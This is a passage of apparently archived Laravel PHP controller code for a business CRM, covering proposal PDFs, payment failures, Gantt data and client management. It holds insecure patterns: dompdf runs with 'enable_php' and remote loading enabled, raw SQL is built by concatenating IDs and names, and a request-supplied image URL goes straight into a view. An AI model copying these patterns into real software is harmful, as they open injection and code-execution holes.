== 'percent') { $this->discount = (($this->proposal->discount / 100) * $this->proposal->sub_total); } else { $this->discount = $this->proposal->discount; } } $this->taxes = ProposalItem::where('type', 'tax') ->where('proposal_id', $this->proposal->id) ->get(); $items = ProposalItem::whereNotNull('taxes') ->where('proposal_id', $this->proposal->id) ->get(); $taxList = array(); foreach ($items as $item) { foreach (json_decode($item->taxes) as $tax) { $this->tax = ProposalItem::taxbyid($tax)->first(); if ($this->tax) { if (!isset($taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'])) { if ($this->proposal->calculate_tax == 'after_discount' && $this->discount > 0) { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = ($item->amount - ($item->amount / $this->proposal->sub_total) * $this->discount) * ($this->tax->rate_percent / 100); } else { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $item->amount * ($this->tax->rate_percent / 100); } } else { if ($this->proposal->calculate_tax == 'after_discount' && $this->discount > 0) { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] + (($item->amount - ($item->amount / $this->proposal->sub_total) * $this->discount) * ($this->tax->rate_percent / 100)); } else { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] + ($item->amount * ($this->tax->rate_percent / 100)); } } } } } $this->taxes = $taxList; $lastViewed = now(); $ipAddress = request()->ip(); $this->proposal->last_viewed = $lastViewed; $this->proposal->ip_address = $ipAddress; $this->proposal->save(); return view('proposal', [ 'proposal' => $this->proposal, 'pageTitle' => $this->pageTitle, 'pageIcon' => $this->pageIcon, 'taxes' => $this->taxes, 'discount' => $this->discount, 'company' => $this->company, 'invoiceSetting' => $this->company->invoiceSetting, ]); } public function proposalActionStore(ProposalAcceptRequest $request, $id) { $this->proposal = Proposal::with('signature')->findOrFail($id); if ($this->proposal && $this->proposal->signature) { return Reply::error(__('messages.alreadySigned')); } if ($request->type == 'accept') { $sign = new ProposalSign(); $sign->full_name = $request->full_name; $sign->proposal_id = $this->proposal->id; $sign->email = $request->email; $imageName = null; if ($request->signature_type == 'signature' && $request->isSignatureNull == 'false') { $image = $request->signature; // your base64 encoded $image = str_replace('data:image/png;base64,', '', $image); $image = str_replace(' ', '+', $image); $imageName = str_random(32) . '.' . 'jpg'; Files::createDirectoryIfNotExist('proposal/sign'); File::put(public_path() . '/' . Files::UPLOAD_FOLDER . '/proposal/sign/' . $imageName, base64_decode($image)); Files::uploadLocalFile($imageName, 'proposal/sign', $this->proposal->company_id); } else { if ($request->hasFile('image')) { $imageName = Files::uploadLocalOrS3($request->image, 'proposal/sign', 300); } } $sign->signature = $imageName; $sign->save(); $this->proposal->status = 'accepted'; } else { $this->proposal->client_comment = $request->comment; $this->proposal->status = 'declined'; } $this->proposal->save(); return Reply::success(__('messages.updateSuccess')); } public function domPdfObjectProposalDownload($id) { $this->proposal = Proposal::where('hash', $id)->firstOrFail(); $this->company = $this->proposal->company; $this->discount = 0; if ($this->proposal->discount > 0) { if ($this->proposal->discount_type == 'percent') { $this->discount = (($this->proposal->discount / 100) * $this->proposal->sub_total); } else { $this->discount = $this->proposal->discount; } } $this->taxes = ProposalItem::where('type', 'tax') ->where('proposal_id', $this->proposal->id) ->get(); $items = ProposalItem::whereNotNull('taxes') ->where('proposal_id', $this->proposal->id) ->get(); $taxList = array(); foreach ($items as $item) { foreach (json_decode($item->taxes) as $tax) { $this->tax = ProposalItem::taxbyid($tax)->first(); if ($this->tax) { if (!isset($taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'])) { if ($this->proposal->calculate_tax == 'after_discount' && $this->discount > 0) { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = ($item->amount - ($item->amount / $this->proposal->sub_total) * $this->discount) * ($this->tax->rate_percent / 100); } else { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $item->amount * ($this->tax->rate_percent / 100); } } else { if ($this->proposal->calculate_tax == 'after_discount' && $this->discount > 0) { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] + (($item->amount - ($item->amount / $this->proposal->sub_total) * $this->discount) * ($this->tax->rate_percent / 100)); } else { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] + ($item->amount * ($this->tax->rate_percent / 100)); } } } } } $this->taxes = $taxList; $this->invoiceSetting = $this->company->invoiceSetting; App::setLocale($this->invoiceSetting->locale ?? 'en'); Carbon::setLocale($this->invoiceSetting->locale ?? 'en'); $pdf = app('dompdf.wrapper'); $pdf->setOption('enable_php', true); $pdf->setOption('isHtml5ParserEnabled', true); $pdf->setOption('isRemoteEnabled', true); $pdf->loadView('proposals.pdf.' . $this->invoiceSetting->template, $this->data); $filename = 'proposal-' . $this->proposal->id; return [ 'pdf' => $pdf, 'fileName' => $filename ]; } /** * @param int $id * @return \Symfony\Component\HttpFoundation\BinaryFileResponse */ public function downloadProposal($id) { $this->proposal = Proposal::where('hash', $id)->firstOrFail(); $this->company = $this->proposal->company; App::setLocale($this->company->locale ?? 'en'); $pdfOption = $this->domPdfObjectProposalDownload($id); $pdf = $pdfOption['pdf']; $filename = $pdfOption['fileName']; return $pdf->download($filename . '.pdf'); } public function invoicePaymentfailed($invoiceId) { $invoice = Invoice::findOrFail($invoiceId); $errorMessage = []; if (request()->gateway == 'Razorpay') { $errorMessage = ['code' => request()->errorMessage['code'], 'message' => request()->errorMessage['description']]; } if (request()->gateway == 'Stripe') { $errorMessage = ['code' => request()->errorMessage['type'], 'message' => request()->errorMessage['message']]; } /* make new payment entry with status=failed and other details */ $payment = new Payment(); $payment->company_id = $invoice->company->id; $payment->invoice_id = $invoice->id; $payment->currency_id = $invoice->currency_id; $payment->amount = $invoice->total; $payment->gateway = request()->gateway; $payment->paid_on = now(); $payment->status = 'failed'; /** @phpstan-ignore-next-line */ $payment->payment_gateway_response = $errorMessage; $payment->save(); return Reply::error(__('messages.paymentFailed')); } public function showImage() { $this->imageUrl = request()->image_url; return view('front.image.show_image', $this->data); } public function showPieChart() { $this->chartData = json_decode(request()->chart_data, true); $this->chartId = request()->chart_id; return view('front.charts.pie-chart', $this->data); } public function syncPermissions() { return Artisan::call('sync-user-permissions'); } public function changeLang($locale) { session(['locale' => $locale]); $lang = LanguageSetting::where('language_code', $locale)->first()->is_rtl; session()->forget('changedRtl'); session(['changedRtl' => $lang == true ? true : false]); return Reply::success(__('messages.updateSuccess')); } public function ganttDataNew($projectID, $hideCompleted, $company) { $taskBoardColumn = TaskboardColumn::completeColumn(); if ($hideCompleted == 0) { $milestones = ProjectMilestone::with(['tasks' => function ($q) { return $q->whereNotNull('tasks.start_date'); }, 'tasks.boardColumn'])->where('project_id', $projectID)->get(); } else { $milestones = ProjectMilestone::with(['tasks' => function ($q) use ($taskBoardColumn) { return $q->whereNotNull('tasks.start_date')->where('tasks.board_column_id', '<>', $taskBoardColumn->id); }, 'tasks.boardColumn']) ->where('status', 'incomplete') ->where('project_id', $projectID)->get(); } $nonMilestoneTasks = Task::whereNull('milestone_id')->whereNotNull('start_date')->with('boardColumn'); if ($hideCompleted == 1) { $nonMilestoneTasks = $nonMilestoneTasks->where('tasks.board_column_id', '<>', $taskBoardColumn->id); } $nonMilestoneTasks = $nonMilestoneTasks->where('project_id', $projectID)->get(); $ganttData = []; $ganttData['data'] = []; $ganttData['links'] = []; foreach ($milestones as $key => $milestone) { $parentID = 'project-' . $milestone->id; $ganttData['data'][] = [ 'id' => $parentID, 'text' => $milestone->milestone_title, 'type' => 'project', 'start_date' => $milestone->start_date->format('d-m-Y H:i'), 'duration' => $milestone->start_date->diffInDays($milestone->end_date) + 1, 'progress' => ($milestone->tasks->count()) ? ($milestone->completionPercent() / 100) : 0, 'parent' => 0, 'open' => ($milestone->status == 'incomplete'), 'color' => '#cccccc', 'textColor' => '#09203F', 'linkable' => false, 'priority' => ($key + 1) ]; foreach ($milestone->tasks as $key2 => $task) { $taskUsers = '
'; foreach ($task->users as $item) { $taskUsers .= ''; } $taskUsers .= $task->heading . '    ' . view('components.status', ['style' => 'color: ' . $task->boardColumn->label_color, 'value' => $task->boardColumn->column_name, 'color' => 'red'])->render() . '
'; $ganttData['data'][] = [ 'id' => $task->id, 'text' => $task->heading, 'hash' => $task->hash, 'text_user' => $taskUsers, 'type' => 'task', 'start_date' => $task->start_date->format('d-m-Y H:i'), 'duration' => (($task->due_date) ? $task->start_date->diffInDays($task->due_date) + 1 : 1), 'parent' => $parentID, 'priority' => ($key2 + 1), 'color' => $task->boardColumn->label_color . '20', 'textColor' => '#09203F', 'view' => view('components.cards.task-card', ['task' => $task, 'draggable' => false, 'company' => $company])->render() ]; if (!is_null($task->dependent_task_id)) { $ganttData['links'][] = [ 'id' => $task->id, 'source' => $task->dependent_task_id, 'target' => $task->id, 'type' => 0 ]; } } if ($milestone->tasks->count()) { $ganttData['data'][] = [ 'id' => 'milestone-' . $milestone->id, 'text' => $milestone->milestone_title, 'type' => 'milestone', 'start_date' => (($task->due_date) ? $task->due_date->format('d-m-Y H:i') : $task->start_date->format('d-m-Y H:i')), 'duration' => (($task->due_date) ? $task->start_date->diffInDays($task->due_date) + 1 : 1), 'parent' => $parentID, ]; $ganttData['links'][] = [ 'id' => 'milestone-' . $milestone->id, 'source' => $task->id, 'target' => 'milestone-' . $milestone->id, 'type' => 0 ]; } } foreach ($nonMilestoneTasks as $key2 => $task) { $taskUsers = '
'; foreach ($task->users as $item) { $taskUsers .= ''; } $taskUsers .= $task->heading . '    ' . view('components.status', ['style' => 'color: ' . $task->boardColumn->label_color, 'value' => $task->boardColumn->column_name, 'color' => 'red'])->render() . '
'; $ganttData['data'][] = [ 'id' => $task->id, 'text' => $task->heading, 'text_user' => $taskUsers, 'type' => 'task', 'start_date' => $task->start_date->format('d-m-Y H:i'), 'duration' => (($task->due_date) ? $task->start_date->diffInDays($task->due_date) : 1), 'priority' => ($key2 + 1), 'color' => $task->boardColumn->label_color . '20', 'textColor' => '#09203F', 'view' => view('components.cards.task-card', ['task' => $task, 'draggable' => false, 'company' => $company])->render() ]; if (!is_null($task->dependent_task_id)) { $ganttData['links'][] = [ 'id' => $task->id, 'source' => $task->dependent_task_id, 'target' => $task->id, 'type' => 0 ]; } } $ganttData['links'] = array_merge($ganttData['links'], GanttLink::where('project_id', $projectID)->select('id', 'type', 'source', 'target', 'type')->get()->toArray()); return $ganttData; } } Http/Controllers/ClientController.php000064400000110371150325104510013763 0ustar00pageTitle = 'app.menu.clients'; $this->middleware(function ($request, $next) { abort_403(!in_array('clients', $this->user->modules)); return $next($request); }); } /** * client list * * @return \Illuminate\Http\Response */ public function index(ClientsDataTable $dataTable) { $viewPermission = user()->permission('view_clients'); $this->addClientPermission = user()->permission('add_clients'); abort_403(!in_array($viewPermission, ['all', 'added', 'both'])); if (!request()->ajax()) { $this->clients = User::allClients(active:false); $this->subcategories = ClientSubCategory::all(); $this->categories = ClientCategory::all(); $this->projects = Project::all(); $this->contracts = ContractType::all(); $this->countries = countries(); $this->totalClients = count($this->clients); } return $dataTable->render('clients.index', $this->data); } /** * XXXXXXXXXXX * * @return \Illuminate\Http\Response */ public function create($leadID = null) { $this->addPermission = user()->permission('add_clients'); abort_403(!in_array($this->addPermission, User::ALL_ADDED_BOTH)); if ($leadID) { $this->leadDetail = Lead::findOrFail($leadID); } if (request('lead') != '') { $this->leadId = request('lead'); $this->type = 'lead'; $this->lead = Lead::findOrFail($this->leadId); } if ($this->addPermission == 'all') { $this->employees = User::allEmployees(null,true); } $this->pageTitle = __('app.addClient'); $this->countries = countries(); $this->categories = ClientCategory::all(); $this->salutations = Salutation::cases(); $this->languages = LanguageSetting::where('status', 'enabled')->get(); $client = new ClientDetails(); $getCustomFieldGroupsWithFields = $client->getCustomFieldGroupsWithFields(); if ($getCustomFieldGroupsWithFields) { $this->fields = $getCustomFieldGroupsWithFields->fields; } $this->view = 'clients.ajax.create'; if (request()->ajax()) { if (request('quick-form') == 1) { return view('clients.ajax.quick_create', $this->data); } return $this->returnAjax($this->view); } return view('clients.create', $this->data); } /** * XXXXXXXXXXX * * @return array */ public function store(StoreClientRequest $request) { DB::beginTransaction(); $data = $request->all(); unset($data['country']); unset($data['is_client_contact']); $data['password'] = bcrypt($request->password); $data['country_id'] = $request->country; $data['name'] = $request->name; $data['email_notifications'] = $request->sendMail == 'yes' ? 1 : 0; $data['gender'] = $request->gender ?? null; $data['locale'] = $request->locale ?? 'en'; if ($request->has('telegram_user_id')) { $data['telegram_user_id'] = $request->telegram_user_id; } if ($request->hasFile('image')) { $data['image'] = Files::uploadLocalOrS3($request->image, 'avatar', 300); } if ($request->hasFile('company_logo')) { $data['company_logo'] = Files::uploadLocalOrS3($request->company_logo, 'client-logo', 300); } $user = User::create($data); $user->clientDetails()->create($data); $client_id = $user->id; if($request->has('is_client_contact')){ $clientContact = new ClientContact(); $clientContact->user_id = $request->is_client_contact; $clientContact->contact_name = $request->name; $clientContact->phone = $request->mobile; $clientContact->email = $request->email; $clientContact->title = $request->title; $clientContact->address = $request->address; $clientContact->added_by = user()->id; $clientContact->last_updated_by = user()->id; $clientContact->client_id = $client_id; $clientContact->save(); $user->is_client_contact = $clientContact->id; $user->update(); } $client_note = new ClientNote(); $note = trim_editor($request->note); if ($note != '') { $client_note->title = 'Note'; $client_note->client_id = $client_id; $client_note->details = $note; $client_note->save(); } // To add custom fields data if ($request->custom_fields_data) { $client = $user->clientDetails; $client->updateCustomFieldData($request->custom_fields_data); } $role = Role::where('name', 'client')->select('id')->first(); $user->attachRole($role->id); $user->assignUserRolePermission($role->id); // Log search $this->logSearchEntry($user->id, $user->name, 'clients.show', 'client'); if (!is_null($user->email)) { $this->logSearchEntry($user->id, $user->email, 'clients.show', 'client'); } if (!is_null($user->clientDetails->company_name)) { $this->logSearchEntry($user->id, $user->clientDetails->company_name, 'clients.show', 'client'); } if ($request->has('lead')) { $lead = Lead::findOrFail($request->lead); $lead->client_id = $user->id; $lead->save(); } DB::commit(); $redirectUrl = urldecode($request->redirect_url); if ($redirectUrl == '') { $redirectUrl = route('clients.index'); } if($request->has('is_client_contact')){ $redirectUrl = route('clients.show', $request->is_client_contact) . '?tab=contacts'; } if ($request->add_more == 'true') { $html = $this->create(); return Reply::successWithData(__('messages.recordSaved'), ['html' => $html, 'add_more' => true]); } if ($request->has('ajax_create')) { $projects = Project::all(); $teams = User::allClients(); $options = BaseModel::options($projects, null, 'project_name'); $teamData = ''; foreach ($teams as $team) { $selected = ($team->id == $user->id) ? 'selected' : ''; $teamData .= ''; } return Reply::successWithData(__('messages.recordSaved'), ['teamData' => $teamData, 'project' => $options, 'redirectUrl' => $redirectUrl]); } return Reply::successWithData(__('messages.recordSaved'), ['redirectUrl' => $redirectUrl]); } /** * XXXXXXXXXXX * * @return \Illuminate\Http\Response */ public function edit($id) { $this->client = User::withoutGlobalScope(ActiveScope::class)->with('clientDetails')->findOrFail($id); $this->editPermission = user()->permission('edit_clients'); abort_403(!($this->editPermission == 'all' || ($this->editPermission == 'added' && $this->client->clientDetails->added_by == user()->id) || ($this->editPermission == 'both' && $this->client->clientDetails->added_by == user()->id))); $this->countries = countries(); $this->categories = ClientCategory::all(); if ($this->editPermission == 'all') { $this->employees = User::allEmployees(); } $this->pageTitle = __('app.update') . ' ' . __('app.client'); $this->salutations = Salutation::cases(); $this->languages = LanguageSetting::where('status', 'enabled')->get(); if (!is_null($this->client->clientDetails)) { $this->clientDetail = $this->client->clientDetails->withCustomFields(); $getCustomFieldGroupsWithFields = $this->clientDetail->getCustomFieldGroupsWithFields(); if ($getCustomFieldGroupsWithFields) { $this->fields = $getCustomFieldGroupsWithFields->fields; } } $this->subcategories = ClientSubCategory::all(); $this->view = 'clients.ajax.edit'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('clients.create', $this->data); } /** * XXXXXXXXXXX * * @return \Illuminate\Http\Response */ public function update(UpdateClientRequest $request, $id) { $user = User::withoutGlobalScope(ActiveScope::class)->findOrFail($id); $data = $request->all(); unset($data['password']); unset($data['country']); unset($data['is_client_contact']); if ($request->password != '') { $data['password'] = bcrypt($request->password); } if ($request->status != $user->status) { $clientIds = ClientContact::where('user_id', $user->id)->pluck('client_id'); User::withoutGlobalScope(ActiveScope::class)->whereIn('id', $clientIds)->update(['status' => $request->status]); } $data['country_id'] = $request->country; if ($request->has('sendMail')) { $user->email_notifications = $request->sendMail == 'yes' ? 1 : 0; } if ($request->has('telegram_user_id')) { $data['telegram_user_id'] = $request->telegram_user_id; } if ($request->image_delete == 'yes') { Files::deleteFile($user->image, 'avatar'); $data['image'] = null; } if ($request->hasFile('image')) { Files::deleteFile($user->image, 'avatar'); $data['image'] = Files::uploadLocalOrS3($request->image, 'avatar', 300); } if($request->has('is_client_contact')){ $clientContact = ClientContact::findOrFail($request->client_contact_id); $clientContact->user_id = $request->is_client_contact; $clientContact->contact_name = $request->name; $clientContact->phone = $request->mobile; $clientContact->email = $request->email; $clientContact->title = $request->title; $clientContact->address = $request->address; $clientContact->last_updated_by = user()->id; $clientContact->save(); } $user->update($data); if ($user->clientDetails) { $data['category_id'] = $request->category_id; $data['sub_category_id'] = $request->sub_category_id; $data['note'] = trim_editor($request->note); $data['locale'] = $request->locale; $fields = $request->only($user->clientDetails->getFillable()); if ($request->has('company_logo_delete') && $request->company_logo_delete == 'yes') { Files::deleteFile($user->clientDetails->company_logo, 'client-logo'); $fields['company_logo'] = null; } if ($request->hasFile('company_logo')) { Files::deleteFile($user->clientDetails->company_logo, 'client-logo'); $fields['company_logo'] = Files::uploadLocalOrS3($request->company_logo, 'client-logo', 300); } $user->clientDetails->fill($fields); $user->clientDetails->save(); } else { $user->clientDetails()->create($data); } // To add custom fields data if ($request->custom_fields_data) { $user->clientDetails->updateCustomFieldData($request->custom_fields_data); } $this->createEmployeeActivity(auth()->user()->id, 'client-updated', $id, 'client'); $redirectUrl = urldecode($request->redirect_url); if ($redirectUrl == '') { $redirectUrl = route('clients.index'); } if($request->has('is_client_contact')){ $redirectUrl = route('clients.show', $request->is_client_contact) . '?tab=contacts'; } return Reply::successWithData(__('messages.updateSuccess'), ['redirectUrl' => $redirectUrl]); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { $this->client = User::withoutGlobalScope(ActiveScope::class)->with('clientDetails')->findOrFail($id); $this->deletePermission = user()->permission('delete_clients'); abort_403( !($this->deletePermission == 'all' || ($this->deletePermission == 'added' && $this->client->clientDetails->added_by == user()->id) || ($this->deletePermission == 'both' && $this->client->clientDetails->added_by == user()->id) ) ); $this->deleteClient($this->client); return Reply::success(__('messages.deleteSuccess')); } private function deleteClient(User $user) { $universalSearches = UniversalSearch::where('searchable_id', $user->id)->where('module_type', 'client')->get(); if ($universalSearches) { foreach ($universalSearches as $universalSearch) { UniversalSearch::destroy($universalSearch->id); } } Notification::whereNull('read_at') ->where(function ($q) use ($user) { $q->where('data', 'like', '{"id":' . $user->id . ',%'); $q->orWhere('data', 'like', '%,"name":' . $user->name . ',%'); $q->orWhere('data', 'like', '%,"user_one":' . $user->id . ',%'); $q->orWhere('data', 'like', '%,"client_id":' . $user->id . '%'); })->delete(); $user->delete(); Lead::where('client_id', $user->id)->update(['client_id' => null]); $this->createEmployeeActivity(auth()->user()->id, 'client-deleted'); } /** * XXXXXXXXXXX * * @return \Illuminate\Http\Response */ public function applyQuickAction(Request $request) { switch ($request->action_type) { case 'delete': $this->deleteRecords($request); return Reply::success(__('messages.deleteSuccess')); case 'change-status': $this->changeStatus($request); return Reply::success(__('messages.updateSuccess')); default: return Reply::error(__('messages.selectAction')); } } protected function deleteRecords($request) { abort_403(user()->permission('delete_clients') !== 'all'); $users = User::withoutGlobalScope(ActiveScope::class)->whereIn('id', explode(',', $request->row_ids))->get(); $users->each(function ($user) { $this->deleteClient($user); }); return true; } protected function changeStatus($request) { abort_403(user()->permission('edit_clients') !== 'all'); User::withoutGlobalScope(ActiveScope::class) ->whereIn('id', explode(',', $request->row_ids)) ->update(['status' => $request->status]); return true; } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { $this->client = User::withoutGlobalScope(ActiveScope::class)->findOrFail($id); $this->clientLanguage = LanguageSetting::where('language_code', $this->client->locale)->first(); $this->viewPermission = user()->permission('view_clients'); $this->viewDocumentPermission = user()->permission('view_client_document'); if (!$this->client->hasRole('client')) { abort(404); } abort_403(!($this->viewPermission == 'all' || ($this->viewPermission == 'added' && $this->client->clientDetails->added_by == user()->id) || ($this->viewPermission == 'both' && $this->client->clientDetails->added_by == user()->id))); $this->pageTitle = $this->client->name; $this->clientStats = $this->clientStats($id); $this->projectChart = $this->projectChartData($id); $this->invoiceChart = $this->invoiceChartData($id); $this->earningTotal = Payment::leftJoin('invoices', 'invoices.id', '=', 'payments.invoice_id') ->leftJoin('projects', 'projects.id', '=', 'payments.project_id') ->where(function ($q) use ($id) { $q->where('invoices.client_id', $id); $q->orWhere('projects.client_id', $id); })->sum('amount'); $this->view = 'clients.ajax.profile'; $tab = request('tab'); switch ($tab) { case 'projects': return $this->projects(); case 'invoices': return $this->invoices(); case 'payments': return $this->payments(); case 'estimates': return $this->estimates(); case 'creditnotes': return $this->creditnotes(); case 'contacts': return $this->contacts(); case 'orders': return $this->orders(); case 'documents': abort_403(!($this->viewDocumentPermission == 'all' || ($this->viewDocumentPermission == 'added' && $this->client->clientDetails->added_by == user()->id) || ($this->viewDocumentPermission == 'owned' && $this->client->clientDetails->user_id == user()->id) || ($this->viewDocumentPermission == 'both' && ($this->client->clientDetails->added_by == user()->id || $this->client->clientDetails->user_id == user()->id)))); $this->view = 'clients.ajax.documents'; break; case 'notes': return $this->notes(); case 'tickets': return $this->tickets(); case 'gdpr': $this->client = User::withoutGlobalScope(ActiveScope::class)->findOrFail($id); $this->consents = PurposeConsent::with(['user' => function ($query) use ($id) { $query->where('client_id', $id) ->orderByDesc('created_at'); }])->get(); return $this->gdpr(); default: $this->clientDetail = ClientDetails::where('user_id', '=', $this->client->id)->first(); if (!is_null($this->clientDetail)) { $this->clientDetail = $this->clientDetail->withCustomFields(); $getCustomFieldGroupsWithFields = $this->clientDetail->getCustomFieldGroupsWithFields(); if ($getCustomFieldGroupsWithFields) { $this->fields = $getCustomFieldGroupsWithFields->fields; } } $this->view = 'clients.ajax.profile'; break; } if (request()->ajax()) { return $this->returnAjax($this->view); } $this->activeTab = $tab ?: 'profile'; return view('clients.show', $this->data); } public function clientStats($id) { return DB::table('users') ->select( DB::raw('(select count(projects.id) from `projects` WHERE projects.client_id = ' . $id . ' and deleted_at IS NULL) as totalProjects'), DB::raw('(select count(invoices.id) from `invoices` left join projects on projects.id=invoices.project_id WHERE invoices.status != "paid" and invoices.status != "canceled" and (projects.client_id = ' . $id . ' or invoices.client_id = ' . $id . ')) as totalUnpaidInvoices'), DB::raw('(select sum(payments.amount) from `payments` left join projects on projects.id=payments.project_id WHERE payments.status = "complete" and projects.client_id = ' . $id . ') as projectPayments'), DB::raw('(select sum(payments.amount) from `payments` inner join invoices on invoices.id=payments.invoice_id WHERE payments.status = "complete" and invoices.client_id = ' . $id . ') as invoicePayments'), DB::raw('(select count(contracts.id) from `contracts` WHERE contracts.client_id = ' . $id . ') as totalContracts') ) ->first(); } /** * XXXXXXXXXXX * * @return array */ public function projectChartData($id) { // Fetch active project status settings $statusSettings = ProjectStatusSetting::where('status', 'active')->get(); // Initialize data array $data = [ 'labels' => $statusSettings->pluck('status_name')->toArray(), 'colors' => $statusSettings->pluck('color')->toArray(), 'values' => [] ]; // Construct the query to count projects for each status $query = Project::selectRaw('COUNT(*) as count, status') ->where('client_id', $id) ->whereIn('status', $data['labels']) ->groupBy('status'); // Execute the query and fetch counts for each status $statusCounts = $query->pluck('count', 'status'); // Populate the values array with counts for each status foreach ($data['labels'] as $label) { $data['values'][] = $statusCounts[$label] ?? 0; } return $data; } /** * XXXXXXXXXXX * * @return array */ public function invoiceChartData($id) { // Define labels, translations, and colors $labels = ['paid', 'unpaid', 'partial', 'canceled', 'draft']; $translations = [__('app.paid'), __('app.unpaid'), __('app.partial'), __('app.canceled'), __('app.draft')]; $colors = ['#2CB100', '#FCBD01', '#1d82f5', '#D30000', '#616e80']; // Construct the query to count invoices for each status $query = Invoice::selectRaw('COUNT(*) as count, status') ->where('client_id', $id) ->whereIn('status', $labels) ->groupBy('status'); // Execute the query and fetch counts for each status $statusCounts = $query->pluck('count', 'status'); // Initialize data array $data = [ 'labels' => $translations, 'colors' => $colors, 'values' => [] ]; // Populate the values array with counts for each status foreach ($labels as $label) { $data['values'][] = $statusCounts[$label] ?? 0; } return $data; } /** * XXXXXXXXXXX * * @return \Illuminate\Http\Response */ public function projectList($id) { if ($id != 0) { $projects = Project::where('client_id', $id)->get(); $options = BaseModel::options($projects, null, 'project_name'); } else { $options = ''; } return Reply::dataOnly(['status' => 'success', 'data' => $options]); } /** * XXXXXXXXXXX * * @return \Illuminate\Http\Response */ public function ajaxDetails($id) { if ($id != 0) { $client = User::withoutGlobalScope(ActiveScope::class)->with('clientDetails', 'country')->find($id); } else { $client = null; } $clientProjects = Project::where('client_id', $id)->get(); $options = ''; foreach ($clientProjects as $project) { $options .= ''; } $data = $client ?: null; return Reply::dataOnly(['status' => 'success', 'data' => $data, 'project' => $options]); } public function projects() { $viewPermission = user()->permission('view_projects'); abort_403(!($viewPermission == 'all' || $viewPermission == 'added')); $tab = request('tab'); $this->activeTab = $tab ?: 'profile'; $this->view = 'clients.ajax.projects'; $dataTable = new ProjectsDataTable(); return $dataTable->render('clients.show', $this->data); } public function invoices() { $dataTable = new InvoicesDataTable(); $viewPermission = user()->permission('view_invoices'); abort_403(!in_array($viewPermission, ['all', 'added', 'owned', 'both'])); $tab = request('tab'); $this->activeTab = $tab ?: 'profile'; $this->view = 'clients.ajax.invoices'; return $dataTable->render('clients.show', $this->data); } public function payments() { $dataTable = new PaymentsDataTable(); $viewPermission = user()->permission('view_payments'); abort_403(!($viewPermission == 'all' || $viewPermission == 'added')); $tab = request('tab'); $this->activeTab = $tab ?: 'profile'; $this->view = 'clients.ajax.payments'; return $dataTable->render('clients.show', $this->data); } public function estimates() { $dataTable = new EstimatesDataTable(); $viewPermission = user()->permission('view_estimates'); abort_403(!in_array($viewPermission, ['all', 'added', 'owned', 'both'])); $tab = request('tab'); $this->activeTab = $tab ?: 'profile'; $this->view = 'clients.ajax.estimates'; return $dataTable->render('clients.show', $this->data); } public function creditnotes() { $dataTable = new CreditNotesDataTable(); $viewPermission = user()->permission('view_invoices'); abort_403($viewPermission == 'none'); $tab = request('tab'); $this->activeTab = $tab ?: 'profile'; $this->view = 'clients.ajax.credit_notes'; return $dataTable->render('clients.show', $this->data); } public function contacts() { $dataTable = new ClientContactsDataTable(); $tab = request('tab'); $this->activeTab = $tab ?: 'profile'; $this->view = 'clients.ajax.contacts'; return $dataTable->render('clients.show', $this->data); } public function notes() { $dataTable = new ClientNotesDataTable(); $viewPermission = user()->permission('view_client_note'); abort_403(($viewPermission == 'none')); $tab = request('tab'); $this->activeTab = $tab ?: 'profile'; $this->view = 'clients.ajax.notes'; return $dataTable->render('clients.show', $this->data); } public function tickets() { $dataTable = new TicketDataTable(); $viewPermission = user()->permission('view_clients'); abort_403(!($viewPermission == 'all' || $viewPermission == 'added' || $viewPermission == 'both')); $tab = request('tab'); $this->activeTab = $tab ?: 'profile'; $this->view = 'clients.ajax.tickets'; return $dataTable->render('clients.show', $this->data); } public function gdpr() { $dataTable = new ClientGDPRDataTable(); $tab = request('tab'); $this->activeTab = $tab ?: 'gdpr'; $this->view = 'clients.ajax.gdpr'; return $dataTable->render('clients.show', $this->data); } public function consent(Request $request) { $clientId = $request->clientId; $this->consentId = $request->consentId; $this->clientId = $clientId; $this->consent = PurposeConsent::with(['user' => function ($query) use ($request) { $query->where('client_id', $request->clientId) ->orderByDesc('created_at'); }]) ->where('id', $request->consentId) ->first(); return view('clients.gdpr.consent-form', $this->data); } public function saveClientConsent(SaveConsentUserDataRequest $request, $id) { $user = User::findOrFail($id); $consent = PurposeConsent::findOrFail($request->consent_id); if ($request->consent_description && $request->consent_description != '') { $consent->description = trim_editor($request->consent_description); $consent->save(); } // Saving Consent Data $newConsentLead = new PurposeConsentUser(); $newConsentLead->client_id = $user->id; $newConsentLead->purpose_consent_id = $consent->id; $newConsentLead->status = trim($request->status); $newConsentLead->ip = $request->ip(); $newConsentLead->updated_by_id = $this->user->id; $newConsentLead->additional_description = $request->additional_description; $newConsentLead->save(); return $request->status == 'agree' ? Reply::success(__('messages.consentOptIn')) : Reply::success(__('messages.consentOptOut')); } public function approve($id) { abort_403(!in_array('admin', user_roles())); User::where('id', $id)->update( ['admin_approval' => 1] ); $userSession = new AppSettingController(); $userSession->deleteSessions([$id]); return Reply::success(__('messages.updateSuccess')); } public function importClient() { $this->pageTitle = __('app.importExcel') . ' ' . __('app.client'); $addPermission = user()->permission('add_clients'); abort_403(!in_array($addPermission, ['all', 'added', 'both'])); $this->view = 'clients.ajax.import'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('clients.create', $this->data); } public function importStore(ImportRequest $request) { $rvalue = $this->importFileProcess($request, ClientImport::class); if($rvalue == 'abort'){ return Reply::error(__('messages.abortAction')); } $view = view('clients.ajax.import_progress', $this->data)->render(); return Reply::successWithData(__('messages.importUploadSuccess'), ['view' => $view]); } public function importProcess(ImportProcessRequest $request) { $batch = 